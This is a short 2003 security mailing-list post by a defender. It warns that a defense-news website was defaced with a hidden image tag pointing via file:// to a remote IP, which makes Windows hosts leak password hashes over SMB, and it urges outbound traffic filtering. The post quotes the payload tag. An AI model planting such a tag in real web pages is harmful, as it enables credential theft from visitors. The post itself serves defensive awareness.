Importance of outbound traffic filtering

From: Stark, Vernon L. (Vern.Starkat_private)
Date: Fri Jul 18 2003 - 07:12:48 PDT

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    	For the third time since May 5th, a site which provides news about
    department of defense issues has apparently been defaced.  The hack is
    described in Ed Skoudis's excellent book entitled "Counter Hack" (pages
    289-290).  The hack we noticed today is a web page with content of the form
    
    <img src=file://korean_ip_address/test.jpg height=0 width=0> 
    
    	If outbound traffic to TCP ports 139 and 445 is NOT blocked, Windows
    hosts will attempt to send password hashes to the remote host.  Hosts may
    attempt to contact the remote host on other ports (e.g. 80) as well.  This
    clearly illustrates the importance of outbound traffic filtering.
    
    Vern Stark, GCIA, GSEC
    
    JHU/APL
    
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